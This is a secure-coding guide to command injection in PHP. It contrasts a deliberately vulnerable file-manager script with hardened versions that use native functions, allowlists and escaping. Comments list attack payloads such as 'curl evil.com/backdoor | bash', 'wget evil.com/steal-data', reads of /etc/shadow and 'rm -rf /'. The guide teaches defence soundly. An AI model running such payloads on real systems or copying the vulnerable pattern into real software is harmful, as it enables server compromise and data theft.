Command injection from request parameters in shell command execution in PHP

Critical Risk command-injection
phpcommand-injectionexecsystemshell_execrequest-parametersrce

What it is

A critical security vulnerability where untrusted request data is concatenated into shell commands and passed to exec-like functions without proper validation or escaping. Command injection could run arbitrary OS commands, exfiltrate data, and fully compromise the server.

<?php
// VULNERABLE: File management script with command injection
header('Content-Type: text/html; charset=UTF-8');

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['action'])) {
    $action = $_GET['action'];
    
    switch ($action) {
        case 'view':
            $file = $_GET['file'] ?? '';
            if ($file) {
                // VULNERABLE: Direct GET parameter in exec
                exec("cat $file", $output);
                echo '<pre>' . implode("\n", $output) . '</pre>';
            }
            break;
            
        case 'search':
            $pattern = $_GET['pattern'] ?? '';
            $directory = $_GET['dir'] ?? '/var/www';
            
            // VULNERABLE: Multiple user inputs in shell command
            $result = shell_exec("find $directory -name '$pattern' -type f");
            echo '<pre>' . htmlspecialchars($result) . '</pre>';
            break;
            
        case 'backup':
            $source = $_GET['source'] ?? '';
            $destination = $_GET['dest'] ?? '/backup';
            
            // VULNERABLE: User controls source and destination
            system("cp -r $source $destination", $returnCode);
            echo "Backup completed with return code: $returnCode";
            break;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $operation = $_POST['operation'] ?? '';
    
    if ($operation === 'process_upload') {
        $uploadedFile = $_FILES['file']['tmp_name'] ?? '';
        $options = $_POST['options'] ?? '';
        $format = $_POST['format'] ?? 'txt';
        
        if ($uploadedFile) {
            // VULNERABLE: User controls processing options
            $command = "convert $options $uploadedFile output.$format";
            passthru($command);
            echo "File processed successfully";
        }
    } elseif ($operation === 'analyze') {
        $filename = $_POST['filename'] ?? '';
        $analyzer = $_POST['analyzer'] ?? 'file';
        $args = $_POST['args'] ?? '';
        
        // VULNERABLE: User controls analyzer tool and arguments
        $output = shell_exec("$analyzer $args $filename");
        echo '<pre>' . htmlspecialchars($output) . '</pre>';
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
</head>
<body>
    <h1>File Operations</h1>
    
    <!-- VULNERABLE: Forms that enable command injection -->
    <h2>View File</h2>
    <form method="GET">
        <input type="hidden" name="action" value="view">
        <input type="text" name="file" placeholder="Enter filename">
        <button type="submit">View File</button>
    </form>
    
    <h2>Search Files</h2>
    <form method="GET">
        <input type="hidden" name="action" value="search">
        <input type="text" name="pattern" placeholder="Search pattern">
        <input type="text" name="dir" placeholder="Directory" value="/var/www">
        <button type="submit">Search</button>
    </form>
    
    <h2>Process Upload</h2>
    <form method="POST" enctype="multipart/form-data">
        <input type="hidden" name="operation" value="process_upload">
        <input type="file" name="file">
        <input type="text" name="options" placeholder="Processing options">
        <input type="text" name="format" placeholder="Output format" value="txt">
        <button type="submit">Process</button>
    </form>
</body>
</html>

<!-- Attack examples:
     GET /?action=view&file=/etc/passwd; wget evil.com/steal-data
     GET /?action=search&pattern=*.txt&dir=/; cat /etc/shadow; echo
     POST operation=analyze&analyzer=sh&args=-c&filename="curl evil.com/backdoor | bash"
-->
<?php
// SECURE: File management with proper validation and safe operations
session_start();

// CSRF token generation and validation
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

class SecureFileManager {
    private const ALLOWED_OPERATIONS = ['view', 'search', 'info'];
    private const SAFE_DIRECTORY = '/secure/uploads';
    private const MAX_FILE_SIZE = 1024 * 1024; // 1MB
    private const ALLOWED_EXTENSIONS = ['.txt', '.csv', '.json', '.xml', '.log'];
    
    public function handleRequest(): void {
        try {
            // CSRF protection
            if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                $this->validateCSRFToken();
            }
            
            $operation = $this->getValidatedOperation();
            $result = $this->executeOperation($operation);
            
            $this->sendResponse($result);
            
        } catch (Exception $e) {
            error_log('File operation error: ' . $e->getMessage());
            $this->sendErrorResponse('Operation failed');
        }
    }
    
    private function validateCSRFToken(): void {
        $token = $_POST['csrf_token'] ?? '';
        if (!hash_equals($_SESSION['csrf_token'], $token)) {
            throw new Exception('CSRF token validation failed');
        }
    }
    
    private function getValidatedOperation(): string {
        $operation = $_REQUEST['operation'] ?? '';
        
        if (!in_array($operation, self::ALLOWED_OPERATIONS, true)) {
            throw new Exception('Operation not allowed');
        }
        
        return $operation;
    }
    
    private function executeOperation(string $operation): array {
        switch ($operation) {
            case 'view':
                return $this->viewFile();
            case 'search':
                return $this->searchFiles();
            case 'info':
                return $this->getFileInfo();
            default:
                throw new Exception('Unknown operation');
        }
    }
    
    // SECURE: Native PHP file viewing
    private function viewFile(): array {
        $filename = $_REQUEST['filename'] ?? '';
        $filePath = $this->validateAndResolvePath($filename);
        
        // Check file size limit
        if (filesize($filePath) > self::MAX_FILE_SIZE) {
            throw new Exception('File too large to display');
        }
        
        // SECURE: Native PHP file reading
        $content = file_get_contents($filePath);
        if ($content === false) {
            throw new Exception('Failed to read file');
        }
        
        // Validate content is text
        if (!mb_check_encoding($content, 'UTF-8')) {
            throw new Exception('File contains binary data');
        }
        
        return [
            'operation' => 'view',
            'filename' => basename($filePath),
            'content' => htmlspecialchars($content, ENT_QUOTES, 'UTF-8'),
            'size' => filesize($filePath)
        ];
    }
    
    // SECURE: Native PHP directory search
    private function searchFiles(): array {
        $pattern = $_REQUEST['pattern'] ?? '';
        
        // Validate search pattern
        if (!$this->isValidSearchPattern($pattern)) {
            throw new Exception('Invalid search pattern');
        }
        
        $results = [];
        $iterator = new DirectoryIterator(self::SAFE_DIRECTORY);
        
        foreach ($iterator as $file) {
            if ($file->isDot() || !$file->isFile()) {
                continue;
            }
            
            $filename = $file->getFilename();
            
            // Use fnmatch for safe pattern matching
            if (fnmatch($pattern, $filename)) {
                $results[] = [
                    'name' => $filename,
                    'size' => $file->getSize(),
                    'modified' => date('Y-m-d H:i:s', $file->getMTime())
                ];
            }
        }
        
        return [
            'operation' => 'search',
            'pattern' => htmlspecialchars($pattern),
            'results' => $results,
            'count' => count($results)
        ];
    }
    
    // SECURE: Native PHP file information
    private function getFileInfo(): array {
        $filename = $_REQUEST['filename'] ?? '';
        $filePath = $this->validateAndResolvePath($filename);
        
        $stat = stat($filePath);
        $pathInfo = pathinfo($filePath);
        
        return [
            'operation' => 'info',
            'filename' => $pathInfo['basename'],
            'extension' => $pathInfo['extension'] ?? '',
            'size' => $stat['size'],
            'size_human' => $this->formatBytes($stat['size']),
            'modified' => date('Y-m-d H:i:s', $stat['mtime']),
            'permissions' => substr(sprintf('%o', fileperms($filePath)), -4),
            'mime_type' => mime_content_type($filePath) ?: 'unknown',
            'is_readable' => is_readable($filePath),
            'is_writable' => is_writable($filePath)
        ];
    }
    
    private function validateAndResolvePath(string $filename): string {
        // Validate filename format
        if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
            throw new Exception('Invalid filename format');
        }
        
        if (strlen($filename) > 255) {
            throw new Exception('Filename too long');
        }
        
        // Check file extension
        $extension = '.' . strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        if (!in_array($extension, self::ALLOWED_EXTENSIONS, true)) {
            throw new Exception('File extension not allowed');
        }
        
        // Resolve full path
        $fullPath = realpath(self::SAFE_DIRECTORY . '/' . $filename);
        
        // Ensure file is within safe directory
        if (!$fullPath || !str_starts_with($fullPath, realpath(self::SAFE_DIRECTORY))) {
            throw new Exception('File not in allowed directory');
        }
        
        // Check file exists and is readable
        if (!is_file($fullPath) || !is_readable($fullPath)) {
            throw new Exception('File not found or not readable');
        }
        
        return $fullPath;
    }
    
    private function isValidSearchPattern(string $pattern): bool {
        // Allow only alphanumeric, wildcards, dots, hyphens, underscores
        return preg_match('/^[a-zA-Z0-9*?._-]+$/', $pattern) &&
               strlen($pattern) > 0 &&
               strlen($pattern) <= 50;
    }
    
    private function formatBytes(int $bytes): string {
        $units = ['B', 'KB', 'MB', 'GB'];
        $bytes = max($bytes, 0);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);
        $bytes /= (1 << (10 * $pow));
        return round($bytes, 2) . ' ' . $units[$pow];
    }
    
    private function sendResponse(array $data): void {
        header('Content-Type: application/json');
        echo json_encode(['success' => true, 'data' => $data]);
    }
    
    private function sendErrorResponse(string $message): void {
        header('Content-Type: application/json');
        http_response_code(400);
        echo json_encode(['success' => false, 'error' => $message]);
    }
}

// Handle AJAX requests
if (isset($_REQUEST['ajax'])) {
    $manager = new SecureFileManager();
    $manager->handleRequest();
    exit;
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Secure File Manager</title>
    <meta charset="UTF-8">
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .form-group { margin: 10px 0; }
        .result { background: #f5f5f5; padding: 10px; margin: 10px 0; border-radius: 4px; }
        .error { background: #ffebee; color: #c62828; }
        pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
        button { padding: 8px 16px; background: #2196f3; color: white; border: none; border-radius: 4px; cursor: pointer; }
        input[type="text"] { padding: 6px; border: 1px solid #ddd; border-radius: 4px; }
    </style>
</head>
<body>
    <h1>Secure File Manager</h1>
    
    <div class="form-group">
        <h2>View File</h2>
        <input type="text" id="viewFilename" placeholder="Enter filename (e.g., document.txt)">
        <button onclick="performOperation('view')">View File</button>
    </div>
    
    <div class="form-group">
        <h2>Search Files</h2>
        <input type="text" id="searchPattern" placeholder="Search pattern (e.g., *.txt)">
        <button onclick="performOperation('search')">Search Files</button>
    </div>
    
    <div class="form-group">
        <h2>File Information</h2>
        <input type="text" id="infoFilename" placeholder="Enter filename">
        <button onclick="performOperation('info')">Get Info</button>
    </div>
    
    <div id="result"></div>
    
    <script>
    function performOperation(operation) {
        const resultDiv = document.getElementById('result');
        let params = new URLSearchParams({
            ajax: '1',
            operation: operation,
            csrf_token: '<?php echo $_SESSION['csrf_token']; ?>'
        });
        
        // Add operation-specific parameters
        if (operation === 'view') {
            params.append('filename', document.getElementById('viewFilename').value);
        } else if (operation === 'search') {
            params.append('pattern', document.getElementById('searchPattern').value);
        } else if (operation === 'info') {
            params.append('filename', document.getElementById('infoFilename').value);
        }
        
        fetch(window.location.href, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: params
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                displayResult(data.data);
            } else {
                displayError(data.error || 'Operation failed');
            }
        })
        .catch(error => {
            displayError('Network error: ' + error.message);
        });
    }
    
    function displayResult(data) {
        const resultDiv = document.getElementById('result');
        resultDiv.className = 'result';
        
        if (data.operation === 'view') {
            resultDiv.innerHTML = `
                <h3>File: ${data.filename} (${data.size} bytes)</h3>
                <pre>${data.content}</pre>
            `;
        } else if (data.operation === 'search') {
            let html = `<h3>Search Results for "${data.pattern}" (${data.count} files)</h3>`;
            if (data.results.length > 0) {
                html += '<ul>';
                data.results.forEach(file => {
                    html += `<li>${file.name} - ${file.size} bytes - Modified: ${file.modified}</li>`;
                });
                html += '</ul>';
            } else {
                html += '<p>No files found.</p>';
            }
            resultDiv.innerHTML = html;
        } else if (data.operation === 'info') {
            resultDiv.innerHTML = `
                <h3>File Information: ${data.filename}</h3>
                <ul>
                    <li><strong>Size:</strong> ${data.size_human}</li>
                    <li><strong>Extension:</strong> ${data.extension}</li>
                    <li><strong>Modified:</strong> ${data.modified}</li>
                    <li><strong>Permissions:</strong> ${data.permissions}</li>
                    <li><strong>MIME Type:</strong> ${data.mime_type}</li>
                    <li><strong>Readable:</strong> ${data.is_readable ? 'Yes' : 'No'}</li>
                    <li><strong>Writable:</strong> ${data.is_writable ? 'Yes' : 'No'}</li>
                </ul>
            `;
        }
    }
    
    function displayError(message) {
        const resultDiv = document.getElementById('result');
        resultDiv.className = 'result error';
        resultDiv.innerHTML = `<strong>Error:</strong> ${message}`;
    }
    </script>
</body>
</html>

💡 Why This Fix Works

The vulnerable code directly uses $_GET and $_POST data in shell commands without validation, allowing command injection through URL parameters and form data. The secure version eliminates shell execution entirely, using native PHP functions with comprehensive input validation, CSRF protection, and secure file path handling.

Why it happens

Directly using $_GET, $_POST, or $_REQUEST data in exec(), system(), passthru(), or shell_exec() without validation. This allows attackers to inject shell metacharacters and execute arbitrary commands.

Root causes

GET/POST Parameters in exec() Functions

Directly using $_GET, $_POST, or $_REQUEST data in exec(), system(), passthru(), or shell_exec() without validation. This allows attackers to inject shell metacharacters and execute arbitrary commands.

Preview example – PHP
<?php
// VULNERABLE: GET parameter in exec()
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    
    // DANGEROUS: User input directly in command
    exec("cat $file", $output);
    echo implode("\n", $output);
}

// VULNERABLE: POST data in system()
if ($_POST['action'] == 'backup') {
    $source = $_POST['source'];
    $dest = $_POST['destination'];
    
    // DANGEROUS: Multiple user inputs
    system("cp $source $dest");
}

// Attack examples:
// GET /?file=/etc/passwd; wget evil.com/steal
// POST source=file.txt&destination=/tmp; rm -rf /

URL Parameters and Form Data in Shell Commands

Processing URL parameters, form submissions, or cookie data and incorporating them into shell commands. This is particularly dangerous in file upload handlers, search functions, and administrative tools.

Preview example – PHP
<?php
// VULNERABLE: Search functionality with shell command
if (isset($_POST['search_term']) && isset($_POST['directory'])) {
    $term = $_POST['search_term'];
    $dir = $_POST['directory'];
    
    // DANGEROUS: User controls search pattern and directory
    $result = shell_exec("find $dir -name '*$term*' -type f");
    echo $result;
}

// VULNERABLE: File processing with user options
if ($_FILES['upload']) {
    $filename = $_FILES['upload']['tmp_name'];
    $options = $_GET['options'] ?? '';
    
    // DANGEROUS: User controls processing options
    passthru("convert $options $filename output.jpg");
}

// Attack payloads:
// search_term=*.txt; cat /etc/passwd; echo&directory=/var/www
// options=--checkpoint=1 --checkpoint-action=exec=sh

Fixes

1

Use Built-in PHP APIs Instead of Shell Commands

Replace shell command execution with native PHP functions and libraries. Use PHP's file system functions, string processing, and specialized libraries to perform operations without invoking the shell.

View implementation – PHP
<?php
// SECURE: Native PHP file operations
class SecureFileHandler {
    private array $allowedDirs = ['/uploads', '/documents', '/temp'];
    private array $allowedExtensions = ['.txt', '.csv', '.json', '.xml'];
    
    public function readFile(string $filename): string {
        // Validate and resolve file path
        $filePath = $this->validateFilePath($filename);
        
        // SECURE: Native PHP file reading
        $content = file_get_contents($filePath);
        if ($content === false) {
            throw new Exception('Failed to read file');
        }
        
        return $content;
    }
    
    public function copyFile(string $source, string $destination): bool {
        // Validate both paths
        $sourcePath = $this->validateFilePath($source);
        $destPath = $this->validateDestinationPath($destination);
        
        // SECURE: Native PHP copy
        return copy($sourcePath, $destPath);
    }
    
    public function searchFiles(string $directory, string $pattern): array {
        // Validate directory
        $dirPath = $this->validateDirectoryPath($directory);
        
        // Validate search pattern
        if (!$this->isValidSearchPattern($pattern)) {
            throw new Exception('Invalid search pattern');
        }
        
        // SECURE: Native PHP directory iteration
        $results = [];
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($dirPath)
        );
        
        foreach ($iterator as $file) {
            if ($file->isFile() && fnmatch($pattern, $file->getFilename())) {
                $results[] = $file->getPathname();
            }
        }
        
        return $results;
    }
    
    private function validateFilePath(string $filename): string {
        // Basic validation
        if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
            throw new Exception('Invalid filename format');
        }
        
        // Check extension
        $extension = '.' . pathinfo($filename, PATHINFO_EXTENSION);
        if (!in_array($extension, $this->allowedExtensions, true)) {
            throw new Exception('File extension not allowed');
        }
        
        // Resolve real path and validate directory
        foreach ($this->allowedDirs as $allowedDir) {
            $fullPath = realpath($allowedDir . '/' . $filename);
            if ($fullPath && str_starts_with($fullPath, realpath($allowedDir))) {
                return $fullPath;
            }
        }
        
        throw new Exception('File not in allowed directory');
    }
    
    private function isValidSearchPattern(string $pattern): bool {
        // Only allow alphanumeric, dots, asterisks
        return preg_match('/^[a-zA-Z0-9.*_-]+$/', $pattern) &&
               strlen($pattern) <= 50;
    }
}
2

Implement Strict Input Validation and Allowlisting

Create comprehensive validation functions that use allowlists for acceptable values. Validate file paths, command options, and all user inputs against strict patterns before any processing.

View implementation – PHP
<?php
// SECURE: Comprehensive input validation
class InputValidator {
    private const FILENAME_PATTERN = '/^[a-zA-Z0-9._-]+$/';
    private const MAX_FILENAME_LENGTH = 255;
    private const ALLOWED_OPERATIONS = ['read', 'copy', 'info', 'hash'];
    
    public static function validateFilename(string $filename): string {
        // Length check
        if (strlen($filename) === 0 || strlen($filename) > self::MAX_FILENAME_LENGTH) {
            throw new InvalidArgumentException('Invalid filename length');
        }
        
        // Pattern check
        if (!preg_match(self::FILENAME_PATTERN, $filename)) {
            throw new InvalidArgumentException('Invalid filename format');
        }
        
        // Directory traversal check
        if (str_contains($filename, '..')) {
            throw new InvalidArgumentException('Directory traversal not allowed');
        }
        
        return $filename;
    }
    
    public static function validateOperation(string $operation): string {
        if (!in_array($operation, self::ALLOWED_OPERATIONS, true)) {
            throw new InvalidArgumentException('Operation not allowed');
        }
        
        return $operation;
    }
    
    public static function validateDirectory(string $directory): string {
        $allowedDirs = [
            '/uploads',
            '/documents', 
            '/temp'
        ];
        
        // Normalize path
        $normalizedPath = realpath($directory);
        
        if (!$normalizedPath) {
            throw new InvalidArgumentException('Directory does not exist');
        }
        
        // Check against allowlist
        foreach ($allowedDirs as $allowedDir) {
            if (str_starts_with($normalizedPath, realpath($allowedDir))) {
                return $normalizedPath;
            }
        }
        
        throw new InvalidArgumentException('Directory not allowed');
    }
    
    public static function sanitizeOutput(string $output): string {
        // Remove any potentially dangerous characters from output
        $output = preg_replace('/[\x00-\x1F\x7F]/', '', $output);
        return htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
    }
}

// SECURE: Request handling with validation
class SecureRequestHandler {
    public function handleFileOperation(): array {
        try {
            // Validate request method
            if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
                throw new Exception('Only POST method allowed');
            }
            
            // Validate and sanitize inputs
            $operation = InputValidator::validateOperation($_POST['operation'] ?? '');
            $filename = InputValidator::validateFilename($_POST['filename'] ?? '');
            
            // Execute safe operation
            $result = $this->executeOperation($operation, $filename);
            
            return [
                'success' => true,
                'result' => InputValidator::sanitizeOutput($result)
            ];
            
        } catch (Exception $e) {
            error_log('File operation error: ' . $e->getMessage());
            return [
                'success' => false,
                'error' => 'Operation failed'
            ];
        }
    }
    
    private function executeOperation(string $operation, string $filename): string {
        $fileHandler = new SecureFileHandler();
        
        switch ($operation) {
            case 'read':
                return $fileHandler->readFile($filename);
            case 'info':
                return json_encode($fileHandler->getFileInfo($filename));
            case 'hash':
                return $fileHandler->calculateHash($filename);
            default:
                throw new Exception('Operation not implemented');
        }
    }
}
3

Use escapeshellarg() When Shell Execution is Unavoidable

If shell command execution is absolutely necessary, use escapeshellarg() to properly escape user arguments and keep commands fixed. However, this should be a last resort after considering all native PHP alternatives.

View implementation – PHP
<?php
// SECURE: Proper escaping when shell execution is unavoidable
class ShellCommandExecutor {
    private array $allowedCommands = [
        'count_lines' => 'wc -l',
        'file_type' => 'file',
        'checksum' => 'sha256sum'
    ];
    
    public function executeCommand(string $commandName, string $filename): string {
        // Validate command
        if (!array_key_exists($commandName, $this->allowedCommands)) {
            throw new InvalidArgumentException('Command not allowed');
        }
        
        // Validate filename
        $validatedFile = $this->validateFilename($filename);
        
        // Get base command
        $baseCommand = $this->allowedCommands[$commandName];
        
        // SECURE: Use escapeshellarg for user input
        $escapedFilename = escapeshellarg($validatedFile);
        
        // Build command with escaped argument
        $command = "$baseCommand $escapedFilename";
        
        // Execute with output capture and timeout
        $output = $this->executeWithTimeout($command, 30);
        
        return $output;
    }
    
    private function validateFilename(string $filename): string {
        // Strict filename validation
        if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
            throw new InvalidArgumentException('Invalid filename');
        }
        
        if (strlen($filename) > 255) {
            throw new InvalidArgumentException('Filename too long');
        }
        
        // Check file exists in safe directory
        $safePath = '/safe/uploads/' . $filename;
        $realPath = realpath($safePath);
        
        if (!$realPath || !str_starts_with($realPath, realpath('/safe/uploads'))) {
            throw new InvalidArgumentException('File not found or not in safe directory');
        }
        
        return $realPath;
    }
    
    private function executeWithTimeout(string $command, int $timeout): string {
        // Use proc_open for better control
        $descriptors = [
            0 => ['pipe', 'r'],  // stdin
            1 => ['pipe', 'w'],  // stdout  
            2 => ['pipe', 'w']   // stderr
        ];
        
        $process = proc_open($command, $descriptors, $pipes);
        
        if (!is_resource($process)) {
            throw new RuntimeException('Failed to execute command');
        }
        
        // Close stdin
        fclose($pipes[0]);
        
        // Set timeout for output reading
        stream_set_timeout($pipes[1], $timeout);
        stream_set_timeout($pipes[2], $timeout);
        
        // Read output
        $output = stream_get_contents($pipes[1]);
        $error = stream_get_contents($pipes[2]);
        
        fclose($pipes[1]);
        fclose($pipes[2]);
        
        $returnCode = proc_close($process);
        
        if ($returnCode !== 0) {
            throw new RuntimeException("Command failed: $error");
        }
        
        return $output;
    }
}

// BETTER: Use proc_open with argument array when possible
function executeCommandArray(array $commandArray, int $timeout = 30): string {
    $descriptors = [
        0 => ['pipe', 'r'],
        1 => ['pipe', 'w'], 
        2 => ['pipe', 'w']
    ];
    
    // Execute command as array (no shell interpretation)
    $process = proc_open($commandArray, $descriptors, $pipes, '/safe/workdir');
    
    if (!is_resource($process)) {
        throw new RuntimeException('Failed to start process');
    }
    
    fclose($pipes[0]);
    
    $output = stream_get_contents($pipes[1]);
    $error = stream_get_contents($pipes[2]);
    
    fclose($pipes[1]);
    fclose($pipes[2]);
    
    $returnCode = proc_close($process);
    
    if ($returnCode !== 0) {
        throw new RuntimeException("Command failed: $error");
    }
    
    return $output;
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from request parameters in shell command execution in php and many other security issues in your codebase.